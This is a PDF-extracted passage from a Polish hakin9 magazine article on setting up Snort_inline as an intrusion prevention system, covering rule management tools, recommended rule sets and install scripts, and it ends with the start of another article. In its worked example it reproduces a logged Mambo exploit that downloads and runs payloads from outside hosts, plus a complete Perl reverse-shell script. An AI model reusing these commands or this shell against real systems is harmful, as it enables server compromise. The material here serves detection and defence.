</Directory>

Ponadto, aby ustawić parametry połą-
czenia z bazą danych należy zmodyfi-
kować plik konfiguracyjny PLACID:

tar -zxvf placid-2.0.3.tar.gz
mv placid-2.0.3 placid
mv placid /var/www
chmod +x /var/www/
placid/placid.py
vi /var/www/placid/
placid.cfg
dbhost=localhost
db=snort
passwd=password
user=snort
port=3306
resolvedns=yes
entrieslimit=300
debug=no
eventaltviews=yes

Do automatycznej aktualizacji reguł
zalecamy napisany w Perlu program
Oinkmaster, który pozwala nam
na zachowanie aktualności naszych
reguł dzięki pobieraniu ich kodu
z różnych źródeł: Snort VRT, spo-
łeczność Snort, społeczność ble-
eding-snort, zewnętrzne oraz wła-
sne (lokalne).

Poniżej znajdziecie instrukcję

konfiguracji Oinkmastera:

Oinkmaster.conf:
# Przykład dla Snort-current (
"current" oznacza obrazy z cvs).
url = http://www.snort.org/pub-bin/
oinkmaster.cgi/
[codicediregistrazione]/
snortrules-snapshot-
CURRENT.tar.gz
# Przykład dla reguł ze społeczności
url = http://www.snort.org/pub-bin/
downloads.cgi/Download/
comm_rules/
Community-Rules-2.4.tar.gz
# Przykład dla reguł z
# projektu Bleeding Snort
url = http://www.bleedingsnort.com/
bleeding.rules.tar.gz
# Jeżeli wolisz pobierać archiwa reguł
# nie za pomocą Oinkmastera, możesz

# wskazać mu plik na lokalnym systemie
# plików za pomocą file://<filename>,
na przykład:
# url = file:///tmp/snortrules.tar.gz
# W rzadkich przypadkach możemy chcieć

# pobierać reguły bezpośrednio z

lokalnego

# katalogu (nie należy tego mylić z
# katalogiem docelowym).
# url = dir:///etc/snort/src/rules

Rysunek 3.

Przykład sieci mieszanej

Listing 5.

Preprocesory dla sieci mieszanej

preprocessor perfmonitor: time 60 file /var/log/snort/perfmon.txt pktcnt 500
preprocessor flow: stats_interval 0 hash 2
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy first detect_anomalies
preprocessor stream4: disable_evasion_alerts detect_scans inline_state
preprocessor stream4_reassemble: both
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
preprocessor clamav: ports 25 80, toserveronly, action-drop, dbdir /var/lib/

clamav, dbreload-time 43200

Rysunek 4.

Prosty obraz ekranu

hakin9 Nr 1/2007

www.hakin9.org

Obrona

64

Po automatycznej aktualizacji mo-
żemy wybrać, które reguły włączyć
bądź wyłączyć:

Oinkmaster.conf:
disabledsid [sidy reguł]

Oinkmaster umożliwia automatycz-
ną zamianę aplikacji reguł. Poniż-
sza opcja umieszczona w pliku
konfiguracyjnym zastąpi wystąpie-
nia aplikacji alert przez drop:

Oinkmaster.conf:
modifysid * "^alert" | "drop"

Efektywnym systemem zarządzania
regułami jest SRRAM, który, chociaż
cokolwiek przestarzały, pozwala na
składowanie reguł w dedykowanej
bazie danych i zarządzanie nimi po-
przez WWW, z wykorzystaniem pro-
stego skryptu przetwarzającego pliki
reguł. Patrz Rysunek 5.

Aby narzędzie to mogło pobierać

reguły z opcją drop należy zmienić
fragment jego kodu źródłowego:

rules_import.pl:
if (/^alert/) {
# jeżeli dana linia to alert
in
if (/^drop/) {
# jeżeli dana linia to drop

Aby proces importu reguł zakończył
się sukcesem musimy stworzyć ba-
zę danych, która będzie zawierać
zbiór reguł:

# mysqladmin -uroot -p create snort_

rules_mgt

A co za tym idzie, odpowiednio zmo-
dyfikować plik

rules _ import.pl

:

use DBD::mysql;
# === Modify to fit your system ===
$rules_list = 'snort_rules_file_list';
$mysql_host = 'localhost';
$mysql_port = '3306';
$mysql_db = 'snort_rules';
$mysql_user = 'root';
$mysql_passwd = 'password';

oraz skrypt cgi

rules _ mgt.pl

uru-

chamiany przez serwer WWW:

use DBI;
use DBD::mysql;
use CGI;
# === Modify to fit your system ===
$this_script='rules_mgt.pl';
$cgi_dir='cgi-bin';
$mysql_host = '127.0.0.1';
$mysql_port = '3306';
$mysql_db='snort_rules_mgt';
$mysql_user='root';
$mysql_passwd='';

Teraz wywołaj polecenie

#perl

rules _ import.pl

i skieruj swoją

przeglądarkę pod adres: http://IP/

cgi-bin/rules_mgt.pl

Kolejnym podstawowym w przy-

padku IDS / IPS narzędziem jest
PMGRAPH. Jest to prosty skrypt
napisany w Perlu generujący dwie
strony w HTML zawierające ta-
bele przedstawiające wydajność
Snorta. By mógł on działać, w pliku
konfiguracyjnym koniecznie trze-

Listing 6.

Zalecane reguły dla

sieci mieszanej

# Ogólne

include

$

RULE_PATH

/

bleeding

.

rules

include

$

RULE_PATH

/

ftp

.

rules

include

$

RULE_PATH

/

telnet

.

rules

include

$

RULE_PATH

/

dns

.

rules

include

$

RULE_PATH

/

tftp

.

rules

include

$

RULE_PATH

/

x11

.

rules

include

$

RULE_PATH

/

misc

.

rules

include

$

RULE_PATH

/

nntp

.

rules

include

$

RULE_PATH

/

other

-

ids

.

rules

include

$

RULE_PATH

/

community

-

ftp

.

rules

include

$

RULE_PATH

/

community

-

misc

.

rules

# Głównie spyware

include

$

RULE_PATH

/

bleeding

-

malware

.

rules

include

$

RULE_PATH

/

malware

.

rules

include

$

RULE_PATH

/

spyware

-

put

.

rules

include

$

RULE_PATH

/

aams7

.

rules

# Zagadnienia sieciowe

include

$

RULE_PATH

/

bad

-

traffic

.

rules

include

$

RULE_PATH

/

snmp

.

rules

# Eksploity i ataki bezpośrednie

include

$

RULE_PATH

/

exploit

.

rules

include

$

RULE_PATH

/

bleeding

-

exploit

.

rules

include

$

RULE_PATH

/

community

-

exploit

.

rules

# Skany i rozpoznania

include

$

RULE_PATH

/

scan

.

rules

include

$

RULE_PATH

/

bleeding

-

scan

.

rules

# Nietypowe

include

$

RULE_PATH

/

finger

.

rules

# R-usługi itd.

include

$

RULE_PATH

/

rpc

.

rules

include

$

RULE_PATH

/

rservices

.

rules

# DOS

include

$

RULE_PATH

/

dos

.

rules

include

$

RULE_PATH

/

ddos

.

rules

include

$

RULE_PATH

/

bleeding

-

dos

.

rules

# Związane z WWW

include

$

RULE_PATH

/

web

-

iis

.

rules

include

$

RULE_PATH

/

web

-

client

.

rules

include

$

RULE_PATH

/

web

-

php

.

rules

include

$

RULE_PATH

/

web

-

attacks

.

rules

include

$

RULE_PATH

/

bleeding

-

web

.

rules

include

$

RULE_PATH

/

community

-

web

-

dos

.

rules

include

$

RULE_PATH

/

community

-

web

-

php

.

rules

# Sygnatury SQL oraz baz danych

include

$

RULE_PATH

/

sql

.

rules

include

$

RULE_PATH

/

oracle

.

rules

Listing 7.

Zalecane reguły dla

sieci mieszanej, cd

include

$

RULE_PATH

/

mysql

.

rules

include

$

RULE_PATH

/

community

-

sql

-

injection

.

rules

# Dotyczące Windows

include

$

RULE_PATH

/

netbios

.

rules

# Odpowiedzi na kompromitację

include

$

RULE_PATH

/

attack

-

responses

.

rules

include

$

RULE_PATH

/

bleeding

-

attack_response

.

rules

# Sygnatury poczty
#include $RULE_PATH/smtp.rules

include

$

RULE_PATH

/

imap

.

rules

include

$

RULE_PATH

/

pop2

.

rules

include

$

RULE_PATH

/

pop3

.

rules

include

$

RULE_PATH

/

community

-

mail

-

client

.

rules

# Trojany, wirusy oraz spyware

include

$

RULE_PATH

/

backdoor

.

rules

include

$

RULE_PATH

/

virus

.

rules

include

$

RULE_PATH

/

bleeding

-

virus

.

rules

include

$

RULE_PATH

/

community

-

virus

.

rules

# Sygnatury polityki

include

$

RULE_PATH

/

porn

.

rules

include

$

RULE_PATH

/

p2p

.

rules

include

$

RULE_PATH

/

bleeding

-

p2p

.

rules

include

$

RULE_PATH

/

bleeding

-

inappropriate

.

rules

include

$

RULE_PATH

/

community

-

inappropriate

.

rules

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

65

ba uaktywnić preprocesor perfoni-
tor, z kolei do poprawnego ogląda-
nia tabel niezbędne jest narzędzie
rrdtool. Całość można bezproble-
mowo dodać do pliku crontab, jako
że generowane obrazki i strony ma-
ją charakter przyrostowy. Pmgraph
przedstawia Rysunek 6.

W przypadku konfiguracji

preprocesora: preprocessor perf-
monitor:

time 60 file /var/log/snort/

perfmon.txt pktcnt 500

uruchamiać

będziemy polecenie:

pmgraph.pl

[ścieżka do folderu, w którym
publikujemy tabele]

/var/log/snort/

perfmon.txt

.

Chcąc dodać to do crona nale-

ży zastosować następującą linijkę:

*/30 * * * * /root/pmgraph-0.2/
pmgraph.pl

[ścieżka do folderu,

w którym publikujemy tabele]

/var/

log/snort/perfmon.txt

, aby polece-

nie było wywoływane codziennie co
trzydzieści minut.

Implementacja

Snorta w trybie inline

Teraz opiszemy pokrótce, jak za-
instalować serwer IPS oparty na
Snorcie w trybie inline za pomo-
cą skryptów dostępnych na stronie

www.snortattack.org.

Zastosowanie skryptów ze snor-

tattack to najprostszy i najszybszy
sposób na rozwiązanie zależności
i określenie opcji kompilacji. Dzięki
skryptom tym można uzyskać dzia-
łający IPS w mniej niż 45 minut, co
pozwala na skoncentrowanie się na
procesach: konfiguracji i optymali-
zacji. Z drugiej strony, aby w pełni
zrozumieć implementację systemu
trzeba samodzielnie zainstalować
wszystkie różne pakiety. Zaawan-
sowanym użytkownikom polecamy
przeczytanie podręcznika użytkow-
nika instalacji krok po kroku, dostęp-
nego w sekcji dokumentacji serwi-
su snortattack, bez korzystania ze
skryptów.

Skrypty i instrukcje snortattack

automatyzują wiele procedur oraz
wyjaśniają, jak zainstalować Snort_
inline pod następującymi dystrybu-
cjami:

• Debian
• Fedora Core 2, 3, 4, 5

Podczas implementacji dystrybucji
należy wyłączyć firewall oraz seli-
nux.

Po zakończeniu implementacji

pobieramy current-attack.sh (www.

snor tattack.org /mambo /script /

current-attack.sh), zmieniamy odpo-
wiednio wartość zmiennej

SA _ DISTRO

postępując zgodnie z instrukcjami
w skrypcie.

Ustawiamy tutaj deb w przypad-

ku Debiana bądź “fc20” “fc30” “fc40”
“fc50” w przypadku odpowiednich
wersji Fedory.

Jako wartość zmiennej

SA _ DIR _

ROOT

ustawiamy pełną ścieżkę do

miejsca, w które pobierane będą
pakiety i skrypty do implementacji
Snorta. Domyślną ścieżką jest tu

/root/snortattack.

Ustawiamy wartość języka (wło-

ski bądź angielski): LANG – ita. Do-
myślnie wybrany jest włoski.

Listing 8.

Pakiety z logów Apache'a

216.63.z.z - -[28/Feb/2006:12:30:44+1300]"GET/
index2.php?option=com_content&do_pdf=1&id
=1index2.php?_REQUEST[option]=com_content
&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_
absolute_path=http://66.98.a.a/cmd.txt?&cmd
=cd%20/tmp;wget%20216.99.b.b/cback;chmod
%20744%20cback;./cback%20217.160.c.c%208081
;wget%20216.99.b.b/dc.txt;chmod%20744%20dc.txt;
perl%20dc.txt%20217.160.c.c%208081;cd%20/var/tmp;
curl%20-o%20cback%20http://216.99.b.b/cback;
chmod%20744%20cback;./cback%20217.160.c.c%
208081;curl%20-o%20dc.txt%20http://216.99.b.b/
dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%20217
.160.c.c%208081;echo%20YYY;echo| HTTP/1.1
"404 - "-" "Mozilla/4.0(compatible; MSIE 6.0;
Windows NT 5.1;)" "-" 0localhost

Listing 9.

Odpowiedź serwera na pytanie o tożsamość użytkownika

11:12:56.791930 IP 10.0.x.x.32770 > 217.160.c.c.8081: P 1:40(39) ack 1

win 5840

<nop,nop,timestamp 454607 3169841954>
0x0000: 4500 005b 6f63 4000 4006 f4c6 0a00 0078 E..[oc@.@......x
0x0010: d9a0 f25a 8002 1f91 231c 80d0 6dd5 df65 ...Z....#...m..e
0x0020: 8018 16d0 a26a 0000 0101 080a 0006 efcf .....j..........
0x0030: bcef f322 7569 643d 3028 726f 6f74 2920 ..."uid=0(root).
0x0040: 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root).grou
0x0050: 7073 3d30 2872 6f6f 7429 0a ps=0(root).

Listing 10.

Odpowiedź Snorta na przywileje roota w Mambo

11:12:56.824718 IP 10.0.x.x.514
> 10.0.y.yy.514: SYSLOG
auth.alert, length: 164
0x0000: 4500 00c0 0189 4000 4011 23d4 0a00 0078 E.....@.@.#....x
0x0010: 0a00 0059 0202 0202 00ac 2937 3c33 333e ...Y......)7<33>
0x0020: 736e 6f72 743a 205b 313a 3439 383a 365d snort:.[1:498:6]
0x0030: 2041 5454 4143 4b2d 5245 5350 4f4e 5345 .ATTACK-RESPONSE
0x0040: 5320 6964 2063 6865 636b 2072 6574 7572 S.id.check.retur
0x0050: 6e65 6420 726f 6f74 205b 436c 6173 7369 ned.root.[Classi
0x0060: 6669 6361 7469 6f6e 3a20 506f 7465 6e74 fication:.Potent
0x0070: 6961 6c6c 7920 4261 6420 5472 6166 6669 ially.Bad.Traffi
0x0080: 635d 205b 5072 696f 7269 7479 3a20 325d c].[Priority:.2]
0x0090: 3a20 7b54 4350 7d20 3130 2e30 2exx 2exx :.{TCP}.10.0.x.x
0x00a0: xxxx 3a33 3237 3730 202d 3e20 3231 372e xx:32770.->.217.
0x00b0: 3136 302e xxxx xx2e xxxx 3a38 3038 310a 160.ccc.cc:8081.

hakin9 Nr 1/2007

www.hakin9.org

Obrona

66

Po zakończeniu zmian w current-

attack.sh uruchamiamy skrypt za po-
mocą następującego polecenia:

> sh current-attack.sh

System pobierze skrypty oraz pakie-
ty niezbędne do zakończenia proce-
su instalacji do katalogu zdefiniowa-
nego w

SA _ DIR _ ROOT

. Wewnątrz te-

go katalogu zmienimy skrypt fast_in-

line.sh, który w pełni automatyzuje
instalację Snorta.

Aby instalacja przebiegła po-

prawnie musimy ustawić trochę
parametrów, które fast_inline wy-
korzysta do skonfigurowania urzą-
dzenia:

•

SA _ DIR _ ROOT

– pełna ścieżka do

miejsca, w które pobrane zostały
pakiety i skrypty,

•

MYSQLPWD

– hasło konta root w ba-

zie mysql,

•

MYSQLPWS

– hasło konta snort w

bazie mysql,

•

IP

– adres IP, który chcemy przy-

pisać urządzeniu,

•

NETMASK

– maska sieci, którą

chcemy przypisać urządzeniu,

•

GW

– adres bramy, który chcemy

przypisać urządzeniu,

•

NETWORK

– sieć, do której należy-

my,

•

BROADCAST

– wartość adresu roz-

głaszania,

•

DNS

– główny serwer DNS,

•

HOMENET

– określa tak zwaną sieć

zaufaną. Wartości w zmiennej
oddzielone są przecinkami.

Zmienne wymienione poniżej usta-
wione są domyślnie tak, by auto-
matycznie przeprowadzić wszystkie
operacje niezbędne do zainstalowa-
nia Snorta. Przyjrzyjmy się pokrótce,
co robią:

•

SA _ UPDATE

– funkcja ta dokonuje

importu listy (sources.list w przy-
padku Debiana, yum.conf w przy-
padku Fedory) i aktualizuje sys-
tem,

•

SA _ DEPS

– pobiera i instaluje za

pomocą menedżera pakietów
(apt pod Debianem, yum pod Fe-
dorą) pakiety wymagane przez
Snorta,

•

SA _ EXTRACT

– pobiera i rozpako-

wuje pakiety tar.gz, których Snort
wymaga do poprawnego działa-
nia,

•

SA _ MYSQL

– konfiguruje serwer

mysql z podanymi wcześniej ha-
słami, importuje bazę danych
Snorta oraz ustawia wymagane
uprawnienia,

•

SA _ INSTALL

– kompiluje elementy

wymagane przez Snorta, tworzy
katalogi na pliki dziennika, insta-
luje BASE, w razie potrzeby two-
rzy link do jądra itd.,

•

SA _ INLINE

– kompiluje Snort_in-

line,

•

SA _ REPORT

– instaluje Snort Re-

port,

•

SA _ PLACID

– instaluje Placid,

•

SA _ SNORT _ CONF

– ustawia w pliku

konfiguracyjnym Snorta podane
wcześniej wartości (sieć domo-
wa, hasło itd.),

•

SA _ AUTO

– powoduje uruchamia-

nie Snorta przy starcie systemu,

•

SA _ ETH

– konfiguruje interfejsy

Ethernet,

•

SA _ SET _ SCRIPT

– tworzy skrypt

uruchamiający określoną wersję
Snorta (klasyczną bądź Snort_in-
line) z podanymi wcześniej para-
metrami (ip, brama, maska, sieć
itd.),

•

SA _ START

– pozwala uruchomić

Snorta po zakończeniu instalacji,

•

SA _ EMAIL

– umożliwia wysłanie

informacji do zespołu Snortat-
tack, celem przekazania pozy-
tywnych bądź negatywnych opi-
nii na temat instalacji przy użyciu

fast_inline.sh.

Po zakończeniu instalacji należy zre-
startować komputer.

Jeżeli chodzi o skrypt fast_utility,

jest to nowy, interaktywny twór upra-
szczający typowe operacje wykony-
wane na urządzeniach IPS, jak na
przykład:

• zmianę adresu IP mostka,
• restart snorta,
• aktualizację reguł,
• tworzenie kopii zapasowej alar-

mów i czyszczenie bazy danych,

• odnotowywanie fałszywych alar-

mów,

• zmianę sieci domowej,
• zmianę rodzaju sieci (LAN DMZ

MISTA),

• zmianę hasła roota, itd.

Rysunek 5.

Obraz ekranu ze SRRAM

Listing 11.

Zalecana

konfiguracja w httpd.conf oraz

my.cnf

httpd.conf:
MinSpareServers 3
MaxSpareServers 6
StartServers 1
MaxClients 15
MaxRequestsPerChild 10
my.cnf :
key_buffer = 4M
max_allowed_packet = 4M
thread_stack = 32K
query_cache_limit = 104857
query_cache_size = 1677721
query_cache_type = 1
max_allowed_packet = 4M
key_buffer = 4M

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

67

Jest zaprojektowany tak, by mógł
być również wykorzystywany jako
aplikacja konsolowa, a ponadto jest
uruchamiany przy każdym logowa-
niu się roota.

Jeżeli niektóre z wymienionych

powyżej zmiennych nie są ustawio-
ne w fast_inline, oznacza to że nie są
one niezbędne do działania skryptu.
Sugerujemy uaktywnienie domyśl-

nie zmiennej zarządzającej funkcja-
mi. Więcej informacji znaleźć moż-
na w podręczniku użytkownika na

www.snortattack.org.

Praktyczne przykłady

Wymieńmy teraz kilka technik ata-
ku, które Snort_inline może za-
uważyć za pomocą reguł i prepro-
cesorów.

Ataki wymierzone w Mambo

Celem analizowanego tutaj ataku
jest kompromitacja serwera i za-
ładowanie eksploita wykorzystu-
jącego lukę w Mambo<= 4.0.11.
W przypadku tym pakiety pobrane
zostały z logów Apache'a, jak po-
kazuje to Listing 7.

Powyższa sekwencja pozwala

załadować i uruchomić cmd.txt.

Poniżej znajdziecie ją w czytel-

niejszej formie:

cd /tmp; \
wget 216.99.b.b/cback;
chmod 744 cback; \
./cback 217.160.c.c 8081; \
wget 216.99.b.b/dc.txt;
chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
cd /var/tmp; \
curl -o cback http://
216.99.b.b/cback;
chmod 744 cback; \
./cback 217.160.c.c 8081; \
curl -o dc.txt http://
216.99.b.b/dc.txt;
chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
echo YYY;echo|

A oto zawartość cmd.txt:

#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET,
PF_INET, SOCK_STREAM,
getprotobyname('tcp'));
connect(SOCKET,
sockaddr_in
($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");

Rysunek 6.

Stworzone przez pmgraph tabele przedstawiające wydajność

Snorta

hakin9 Nr 1/2007

www.hakin9.org

Obrona

68

open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;
HISTFILE=/dev/null /bin/sh -i");

Należy odnotować, że celem powyż-
szych poleceń jest odkrycie, któ-
ry użytkownik w systemie urucha-
mia Mambo. Szybka reakcja serwe-
ra nań przedstawione jest na Listin-
gu 8.

Jeżeli zatem Mambo posiada

przywileje roota, możemy przez od-
krytą lukę uruchamiać skrypty. Re-
akcję Snorta na taki przypadek
przedstawia Listing 9.

Phishing

W dziedzinie badań naukowych
określenie phishing opisuje stu-
dium słabo znanego zagadnienia
przeprowadzone bez ściśle okre-
ślonego celu: oznacza losowe po-

szukiwanie, podobnie do rybaka
zarzucającego sieć z nadzieją zła-
pania kilku ryb. Znaczenie to po-
chodzi z 1990 roku.

Phishing w informatyce to tech-

nika inżynierii społecznej pozwala-
jąca na uzyskanie dostępu do oso-
bistych i poufnych danych, co po-
zwolić ma na kradzież tożsamości
użytkownika, za pomocą fałszy-
wych wiadomości e-mail (jak rów-
nież innych socjotechnicznych tri-
ków) skonstruowanych tak, by wy-
dawały się autentyczne. Użytkow-
nik zwiedziony takimi wiadomo-
ściami ujawnić może swoje oso-
biste dane, jak na przykład numer
konta bankowego, nazwę i hasło
użytkownika, numer karty kredy-
towej itp.

Opierając się na definicji zawar-

tej w Wikipedii opiszemy metodę
pozwalającą na rozwiązanie tego
problemu. Przedstawimy wspomnia-
ne już wcześniej, bardzo użyteczne
narzędzie, jakim jest preprocesor
Clamav, zintegrowany z dystrybucja-
mi Snort_inline.

Zasada działania tego prepro-

cesora wydaje się być bardzo pro-
sta, jednak o ile nie jest on popraw-
nie skonfigurowany jest on bezuży-
teczny. Preprocesor Clamav korzy-
sta z dbdir Clamava jako zbioru re-

guł przechwytywania dla Snorta,
pozwalając na użycie w przypad-
ku pozytywnego rozpoznania akcji
drop. Niezmiernie ważne jest stałe
dbanie o aktualność definicji Clama-
va (dbdir). Warto przy okazji wspo-
mnieć, że preprocesor ten nie speł-
nia wszystkich wspomnianych po-
wyżej reguł – jedynie phishing bądź
wirusy, które nie są zaszyfrowane
ani spakowane.

Niezależnie od powyższego ja-

sne jest, że preprocesor ten jest
idealny do blokowania ataków phi-
sherów – wiadomości ich są bo-
wiem pisane otwartym, zrozumia-
łym tekstem. Konfigurację tego
rodzaju sieci omówimy w następ-
nym akapicie.

Wymiana plików

Jak wszyscy dobrze wiemy w pry-
watnych sieciach intensywnie operu-
ją programy peer to peer.

Najpopularniejszymi klientami do

pobierania w ten sposób plików są:
Emule, Bittorrent, Gnutella, Kazaa,
Soulseek.

Najpowszechniej stosowanymi

przez tych klientów protokołami są:

• bittorrent (wykorzystywany przez

klienta bittorrent)

• eDonkey (wykorzystywany przez

klienta emule)

• fastrack (wykorzystywany przez

klienta Kazaa)

• Gnutella (wykorzystywany przez

klienta Gnutella)

• Soulseek (wykorzystywany przez

klienta Soulseek)

Celem zablokowania tego rodza-
ju klientów peer to peer należy
uaktywnić następujące zbiory re-
guł: bleeding-p2p oraz p2p. Pliki te
(

/ e t c / s n o r t _ i n l i n e / r u l e s /

bleeding-p2p.rules

.../p2p.rules

)

zawierają wszystkie najnowsze re-
guły pozwalające na ochronę sieci
przed wykorzystaniem przez szko-
dliwe programy p2p, które jak wie-
my w zdecydowanej większości
przypadków wysycają całe dostęp-
ne łącze.

Należy sprawdzić, czy zmienna

HOMENET w pliku snort_inline.conf

definiuje sieć, którą chcemy chronić
przed takimi klientami.

Reguły tego rodzaju podzielone

są według rodzaju działania. I tak,
mamy na przykład:

Wyszukiwanie plików w sieci eDon-
key:

drop udp $HOME_NET any ->
$EXTERNAL_NET 4660:4799
(msg: "BLEEDING-EDGE P2P
eDonkey Search"; content:
"|e3 0e|";
offset: 0; depth: 2;
rawbytes;classtype:
policy-violation; reference:url,
www.edonkey.com;
sid: 2001305; rev:3; )

Ruch bittorrent:

drop tcp $HOME_NET any ->
$EXTERNAL_NET any (msg:
"BLEEDING-EDGE P2P
BitTorrent Traffic";
flow:
established;
content:
"|0000400907000000|";
offset: 0; depth: 8;
reference:
url,bitconjurer.org/BitTorrent/
protocol.html;
classtype: policy-violation;
sid: 2000357; rev:3; )

Żądanie od klienta Gnutelli:

drop tcp $HOME_NET any ->
$EXTERNAL_NET any (msg:
"P2P GNUTella client request";
flow:to_server,established;
content:
"GNUTELLA"; depth:8;
classtype:policy-violation;
sid:1432; rev:6;)

Jeżeli chce się blokować protoko-
ły transferu plików należy uważ-
nie wybrać z ww. plików odpowied-
ni protokół, a co za tym idzie odpo-
wiednie działanie. Nie zawsze da-
je się całkowicie zatrzymać ruch
generowany przez klienta p2p,
w rzeczy samej, testy pokazały że
program Emule nie jest w stanie

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

69

zablokować sieci kad, podczas gdy
bittorrenta ogranicza jedynie wy-
korzystanie łącza. Chociaż wspo-
mniane tu rozwiązanie nie zdoła
całkowicie zablokować tych progra-
mów, włączenie ww. reguł genero-
wać będzie regularne problemy,
które mogą zniechęcić użytkowni-
ków aplikacji do wymiany plików.

Detekcja fałszywych

alarmów: podejście

systematyczne

Teraz stworzymy metodę wykrywa-
jącą fałszywe alarmy. Opiszemy tu-
taj trzy różne scenariusze:

• fałszywe alarmy przy korzystaniu

z WWW

• fałszywe alarmy przy zatrzyma-

nej poczcie

• ogólne fałszywe alarmy (nie

WWW i nie poczta)

W pierwszym przypadku musimy
znać adres źródłowy hosta, które-
go dotknął problem, a następnie,
za pomocą podstawowego inter-
fejsu sieciowego i wykorzystując
funkcję wyszukiwania (wybrawszy
kryterium ip i wpisawszy adres w
okrągłych nawiasach) znajdujemy
go w powiadomieniach.

Znalazłszy fałszywy alarm (który

spowodował odrzucenie) mamy do
wyboru dwa możliwe rozwiązania:

• wyłączenie reguł, które go spo-

wodowały,

• dodanie źródłowego adresu

IP do zmiennej w pliku

snort _

inline.conf

określającą sieć do-

mową.

Dzięki narzędziu pmgraph możemy
śledzić statystyki ruchu na i wydaj-
ności urządzenia. Interesująca jest

tabela reprezentująca obciążenie
procesora, które mogło powodo-
wać fałszywe alarmy (w przypadku
obciążeń większych niż 70%), któ-
rych nie wyłapał BASE.

Kolejną istotną informacją przy

wyszukiwaniu fałszywych alarmów
jest liczba ataków na sekundę. Je-
żeli znajdziemy w tej tabeli wartości
większe niż 15 na sekundę, mamy do
czynienia z jednym z dwóch poniż-
szych przypadków:

• A – fałszywy alarm;
• B – atak wymierzony w host

w sieci.

Najbardziej przydatna jest tworzona
przez silnik bezpieczeństwa tabela
reprezentująca zablokowane treści.
Dzięki BASE mamy możliwość oglą-
dania szczegółów ataków, zaś opcja

plain text jest bardzo przydatna przy
przeglądaniu przechwyconego ru-
chu w formacie ASCII.

Nie jest możliwe oglądanie

przez interfejs WWW wykorzysta-
nia pamięci (chyba, że zainstaluje-
my w naszym systemie mrtg). Jest
to szczególnie ważne w przypad-
kach, gdy chcemy uruchomić dużą
liczbę reguł. Aby zapobiec awariom
naszej maszyny bądź generowa-
niu fałszywych alarmów, zalecamy
optymalizację reguł oraz demonów
takich jak Apache czy mysql (patrz
Listing 10).

Podsumowanie

Podsumowując, Snort_inline to efek-
tywny sposób na stawienie czoła
szczególnie niebezpiecznym środo-
wiskom sieciowym.

Wprawdzie nie odpowiedź na

wszelkie zło, ale jest to dobrze ułożo-
na aplikacja bezpieczeństwa – jeżeli
została zaimplementowana wedle da-
nych potrzeb.

W przypadku Snorta reguła mó-

wiąca, że „włączenie wszystkiego

czyni nasz komputer bezpieczniej-

szym”, nie ma zastosowania – każ-
da bowiem reguła może bowiem
generować fałszywe alarmy, bloku-
jące niewinny ruch w sieci bądź ge-
nerujące inne problemy. l

O autorach

Pierpaolo Palazzoli pracuje w branży bezpieczeństwa, jest absolwentem inży-
nierii telekomunikacji na Politechnice Mediolańskiej we Włoszech. Pracuje nad
Snortem od pięciu lat. Matteo Valenza pracuje w sektorze IT jako administra-
tor systemów, pracuje nad Snortem od roku. Rezultatem współpracy i wymiany
wiedzy pomiędzy Matteo a Pierpaolo jest snortattack.org. Serwis pojawił się
w sieci sześć miesięcy temu, zespół zapoczątkował go jednak przed dwoma
laty. Jego głównym atutem jest dokumentacja użytkownika oraz skrypty insta-
lacyjne dla Snorta, napisane po włosku i angielsku. Dostępne jest także aktyw-
ne forum dyskusyjne oraz lista mailingowa. Pierpaolo i Matteo planują stwo-
rzyć dzięki snortattack.org Grupę użytkowników Snorta, celem której ma być
wymiana idei związanych z programem pomiędzy jego użytkownikami we Wło-
szech i nacałym świecie.
www.snortattack.org!

W Sieci

• http://www.snort.org – Snort
• http://snort-inline.sourceforge.net -Snort_inline
• http://secureideas.sourceforge.net - Base
• http://speakeasy.wpi.edu/placid - Placid
• http://oinkmaster.sourceforge.net - Oinkmaster
• http://sourceforge.net/projects/srram - Srram
• http://people.su.se/~andreaso/perfmon-graph - Pmgraph
• http://fedora.redhat.com - Fedora
• http://www.debian.org – Debian
• http://www.mamboserver.com - Mambo
• http://www.clamav.net – Clamav
• http://www.bleedingsnort.com - Bleedingsnort
• http://www.snortattack.org – Snortattack

www.hakin9.org

hakin9 Nr 1/2007

70

Obrona

P

roblem dodatkowo komplikuje fakt, że
nowoczesne sieci dostarczają wie-
le metod dostępu i jednocześnie zło-

żone są z wielu coraz bardziej skompliko-
wanych systemów sieciowych. Każdy z nich
(w większości przypadków) działa w zupełnym
odosobnieniu, tocząc nierówną walkę, w której
broniący stale musi nadążać za atakującymi.
Z pomocą administratorom przychodzą coraz
częściej systemy badające zachowanie po-
szczególnych węzłów sieciowych na trochę
wyższym niż podstawowa diagnostyka pozio-
mie, ale są one obecnie ograniczone do rapor-
towania i sugerowania działań, a brak architek-
tury wspólnej dla całej gamy rozwiązań powo-
duje, że ich skuteczność w zestawieniu z nakła-
dami pracy administratorów jest niewielka.

Ida powstania mechanizmu DTM opiera się

na połączeniu możliwości wielu różnego rodza-
ju urządzeń rozproszonych w sieci. Architektu-
ra DTM umożliwia rozpowszechnianie w cza-
sie rzeczywistym informacji o aktualnym za-
grożeniu na kontrolowane urządzenia i w ten
sposób powstrzymanie ataku na sieć, właśnie
wybuchającą zarazę sieciową lub innego ro-
dzaju anomalię ruchową. Jeśli wysłanie infor-
macji wiązało się z uaktualnieniem konfigura-

cji urządzeń, powinny one oczywiście zostać
poinformowane po ustaniu ataku i powrócić do
pierwotnego stanu – jednocześnie raportując
te zdarzenia do systemów zarządzania.

Rozwiązania DTM

Łukasz Bromirski

stopień trudności

Obecne środowiska sieciowe stają się coraz bardziej wymagające

dla systemów bezpieczeństwa. Rosnące przepustowości

– zarówno dostępne w sieciach lokalnych jak i w styku

z Internetem, powodują że systemy mające ambicje działać

w czasie rzeczywistym stają przed coraz trudniejszym zadaniem.

Z artykułu dowiesz się...

